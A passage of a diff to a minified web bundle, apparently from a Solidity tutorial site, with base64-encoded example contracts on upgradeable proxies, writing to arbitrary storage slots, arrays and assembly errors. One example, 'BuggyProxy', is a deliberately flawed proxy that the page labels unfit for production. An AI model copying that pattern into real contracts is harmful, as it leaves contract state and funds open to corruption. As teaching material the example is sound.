ICAgICAgIC8vIHJldHVybmRhdGFzaXplKCkgLSBzaXplIG9mIHRoZSBsYXN0IHJldHVybmRhdGEKICAgICAgICAgICAgcmV0dXJuZGF0YWNvcHkoMCwgMCwgcmV0dXJuZGF0YXNpemUoKSkKCiAgICAgICAgICAgIHN3aXRjaCByZXN1bHQKICAgICAgICAgICAgLy8gZGVsZWdhdGVjYWxsIHJldHVybnMgMCBvbiBlcnJvci4KICAgICAgICAgICAgY2FzZSAwIHsKICAgICAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24sIHJldmVydCBzdGF0ZSBjaGFuZ2VzLCByZXR1cm4gZGF0YSBtZW1bcOKApihwK3MpKQogICAgICAgICAgICAgICAgcmV2ZXJ0KDAsIHJldHVybmRhdGFzaXplKCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICAvLyByZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uLCByZXR1cm4gZGF0YSBtZW1bcOKApihwK3MpKQogICAgICAgICAgICAgICAgcmV0dXJuKDAsIHJldHVybmRhdGFzaXplKCkpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2ZhbGxiYWNrKCkgcHJpdmF0ZSB7CiAgICAgICAgX2RlbGVnYXRlKF9nZXRJbXBsZW1lbnRhdGlvbigpKTsKICAgIH0KCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIF9mYWxsYmFjaygpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBfZmFsbGJhY2soKTsKICAgIH0KfQoKY29udHJhY3QgUHJveHlBZG1pbiB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIF87CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJveHlBZG1pbihhZGRyZXNzIHByb3h5KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBwcm94eS5zdGF0aWNjYWxsKGFiaS5lbmNvZGVDYWxsKFByb3h5LmFkbWluLCAoKSkpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiBhYmkuZGVjb2RlKHJlcywgKGFkZHJlc3MpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRQcm94eUltcGxlbWVudGF0aW9uKGFkZHJlc3MgcHJveHkpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIChib29sIG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dmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgcmV0dXJuIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdyaXRlU2xvdChhZGRyZXNzIF9hZGRyKSBleHRlcm5hbCB7CiAgICAgICAgU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3Qoc2xvdCkudmFsdWUgPSBfYWRkcjsKICAgIH0KfQo="}],Iy=`

                Example of upgradeable proxy contract. Never use this in production.

                +`,gy=({prev:s,next:a})=>i.jsx(u,{version:ty,title:oy,description:ry,html:hy,prev:s,next:a,codes:iy}),dy="0.8.20",Iy="Upgradeable Proxy",Cy="Example of upgradeable proxy",jy=[{fileName:"UpgradeableProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIFRyYW5zcGFyZW50IHVwZ3JhZGVhYmxlIHByb3h5IHBhdHRlcm4KCmNvbnRyYWN0IENvdW50ZXJWMSB7CiAgICB1aW50IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlclYyIHsKICAgIHVpbnQgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCArPSAxOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCAtPSAxOwogICAgfQp9Cgpjb250cmFjdCBCdWdneVByb3h5IHsKICAgIGFkZHJlc3MgcHVibGljIGltcGxlbWVudGF0aW9uOwogICAgYWRkcmVzcyBwdWJsaWMgYWRtaW47CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgYWRtaW4gPSBtc2cuc2VuZGVyOwogICA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GFkZHJlc3MgYQogICAgICAgICAgICAvLyAtIHdpdGggaW5wdXQgbWVtW2lu4oCmKGluK2luc2l6ZSkpCiAgICAgICAgICAgIC8vIC0gcHJvdmlkaW5nIGcgZ2FzCiAgICAgICAgICAgIC8vIC0gYW5kIG91dHB1dCBhcmVhIG1lbVtvdXTigKYob3V0K291dHNpemUpKQogICAgICAgICAgICAvLyAtIHJldHVybmluZyAwIG9uIGVycm9yIChlZy4gb3V0IG9mIGdhcykgYW5kIDEgb24gc3VjY2VzcwogICAgICAgICAgICBsZXQgcmVzdWx0IDo9IGRlbGVnYXRlY2FsbChnYXMoKSwgX2ltcGxlbWVudGF0aW9uLCAwLCBjYWxsZGF0YXNpemUoKSwgMCwgMCkKCiAgICAgICAgICAgIC8vIENvcHkgdGhlIHJldHVybmVkIGRhdGEuCiAgICAgICAgICAgIC8vIHJldHVybmRhdGFjb3B5KHQsIGYsIHMpIC0gY29weSBzIGJ5dGVzIGZyb20gcmV0dXJuZGF0YSBhdCBwb3NpdGlvbiBmIHRvIG1lbSBhdCBwb3NpdGlvbiB0CiAgICAgICAgICAgIC8vIHJldHVybmRhdGFzaXplKCkgLSBzaXplIG9mIHRoZSBsYXN0IHJldHVybmRhdGEKICAgICAgICAgICAgcmV0dXJuZGF0YWNvcHkoMCwgMCwgcmV0dXJuZGF0YXNpemUoKSkKCiAgICAgICAgICAgIHN3aXRjaCByZXN1bHQKICAgICAgICAgICAgLy8gZGVsZWdhdGVjYWxsIHJldHVybnMgMCBvbiBlcnJvci4KICAgICAgICAgICAgY2FzZSAwIHsKICAgICAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24sIHJldmVydCBzdGF0ZSBjaGFuZ2VzLCByZXR1cm4gZGF0YSBtZW1bcOKApihwK3MpKQogICAgICAgICAgICAgICAgcmV2ZXJ0KDAsIHJldHVybmRhdGFzaXplKCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICAvLyByZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uLCByZXR1cm4gZGF0YSBtZW1bcOKApihwK3MpKQogICAgICAgICAgICAgICAgcmV0dXJuKDAsIHJldHVybmRhdGFzaXplKCkpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2ZhbGxiYWNrKCkgcHJpdmF0ZSB7CiAgICAgICAgX2RlbGVnYXRlKF9nZXRJbXBsZW1lbnRhdGlvbigpKTsKICAgIH0KCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIF9mYWxsYmFjaygpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBfZmFsbGJhY2soKTsKICAgIH0KfQoKY29udHJhY3QgUHJveHlBZG1pbiB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIF87CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJveHlBZG1pbihhZGRyZXNzIHByb3h5KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBwcm94eS5zdGF0aWNjYWxsKGFiaS5lbmNvZGVDYWxsKFByb3h5LmFkbWluLCAoKSkpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiBhYmkuZGVjb2RlKHJlcywgKGFkZHJlc3MpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRQcm94eUltcGxlbWVudGF0aW9uKGFkZHJlc3MgcHJ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JURVNUX1NMT1QiKTsKCiAgICBmdW5jdGlvbiBnZXRTbG90KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgcmV0dXJuIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdyaXRlU2xvdChhZGRyZXNzIF9hZGRyKSBleHRlcm5hbCB7CiAgICAgICAgU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3Qoc2xvdCkudmFsdWUgPSBfYWRkcjsKICAgIH0KfQo="}],uy=`

                Example of upgradeable proxy contract. Never use this in production.

                This example shows

                • how to use delegatecall and return data when fallback is called.
                • @@ -2801,7 +2801,7 @@ After a mimimum waiting period, the transaction can be executed.

                  StorageSlot.getAddressSlot(slot).value = _addr; } } -`,Cy=({prev:s,next:a})=>i.jsx(u,{version:iy,title:hy,description:gy,html:Iy,prev:s,next:a,codes:dy}),jy="0.8.20",uy="Write to Any Slot",yy="Write to Any Slot",my=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdCgKICAgICAgICBieXRlczMyIHNsb3QKICAgICkgaW50ZXJuYWwgcHVyZSByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHBvaW50ZXIpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIEdldCB0aGUgcG9pbnRlciB0byBBZGRyZXNzU2xvdCBzdG9yZWQgYXQgc2xvdAogICAgICAgICAgICBwb2ludGVyLnNsb3QgOj0gc2xvdAogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgVGVzdFNsb3QgewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgVEVTVF9TTE9UID0ga2VjY2FrMjU2KCJURVNUX1NMT1QiKTsKCiAgICBmdW5jdGlvbiB3cml0ZShhZGRyZXNzIF9hZGRyKSBleHRlcm5hbCB7CiAgICAgICAgU3RvcmFnZVNsb3QuQWRkcmVzc1Nsb3Qgc3RvcmFnZSBkYXRhID0gU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoVEVTVF9TTE9UKTsKICAgICAgICBkYXRhLnZhbHVlID0gX2FkZHI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgU3RvcmFnZVNsb3QuQWRkcmVzc1Nsb3Qgc3RvcmFnZSBkYXRhID0gU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoVEVTVF9TTE9UKTsKICAgICAgICByZXR1cm4gZGF0YS52YWx1ZTsKICAgIH0KfQo="}],Ay=`

                  Solidity storage is like an array of length 2^256. +`,yy=({prev:s,next:a})=>i.jsx(u,{version:dy,title:Iy,description:Cy,html:uy,prev:s,next:a,codes:jy}),my="0.8.20",Ay="Write to Any Slot",by="Write to Any Slot",wy=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdCgKICAgICAgICBieXRlczMyIHNsb3QKICAgICkgaW50ZXJuYWwgcHVyZSByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHBvaW50ZXIpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIEdldCB0aGUgcG9pbnRlciB0byBBZGRyZXNzU2xvdCBzdG9yZWQgYXQgc2xvdAogICAgICAgICAgICBwb2ludGVyLnNsb3QgOj0gc2xvdAogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgVGVzdFNsb3QgewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgVEVTVF9TTE9UID0ga2VjY2FrMjU2KCJURVNUX1NMT1QiKTsKCiAgICBmdW5jdGlvbiB3cml0ZShhZGRyZXNzIF9hZGRyKSBleHRlcm5hbCB7CiAgICAgICAgU3RvcmFnZVNsb3QuQWRkcmVzc1Nsb3Qgc3RvcmFnZSBkYXRhID0gU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoVEVTVF9TTE9UKTsKICAgICAgICBkYXRhLnZhbHVlID0gX2FkZHI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgU3RvcmFnZVNsb3QuQWRkcmVzc1Nsb3Qgc3RvcmFnZSBkYXRhID0gU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoVEVTVF9TTE9UKTsKICAgICAgICByZXR1cm4gZGF0YS52YWx1ZTsKICAgIH0KfQo="}],ky=`

                  Solidity storage is like an array of length 2^256. Each slot in the array can store 32 bytes.

                  Order of declaration and the type of state variables define which slots it will use.

                  However using assembly, you can write to any slot.

                  @@ -2837,7 +2837,7 @@ Each slot in the array can store 32 bytes.

                  return data.value; } } -`,by=({prev:s,next:a})=>i.jsx(u,{version:jy,title:uy,description:yy,html:Ay,prev:s,next:a,codes:my}),wy="0.8.20",ky="Array",Zy="Learn about arrays in Solidity",Wy=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50W10gcHVibGljIGFycjsKICAgIHVpbnRbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludFtdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb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ZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],By=`

                  Array can have a compile-time fixed size or a dynamic size.

                  +`,Zy=({prev:s,next:a})=>i.jsx(u,{version:my,title:Ay,description:by,html:ky,prev:s,next:a,codes:wy}),Wy="0.8.20",By="Array",Gy="Learn about arrays in Solidity",fy=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50W10gcHVibGljIGFycjsKICAgIHVpbnRbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludFtdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSB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SAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],Vy=`

                  Array can have a compile-time fixed size or a dynamic size.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.20;
                   
                  @@ -2959,7 +2959,7 @@ Each slot in the array can store 32 bytes.

                  assert(arr[1] == 4); } } -
                  `,Gy=({prev:s,next:a})=>i.jsx(u,{version:wy,title:ky,description:Zy,html:By,prev:s,next:a,codes:Wy}),fy="0.8.20",Vy="Assembly Error",vy="Example of error in assembly",Yy=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],Ry=`

                  Example of error in assembly

                  +`,vy=({prev:s,next:a})=>i.jsx(u,{version:Wy,title:By,description:Gy,html:Vy,prev:s,next:a,codes:fy}),Yy="0.8.20",Ry="Assembly Error",Xy="Example of error in assembly",Hy=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],Fy=`

                  Example of error in assembly

                  // SPDX-License-Identifier: MIT
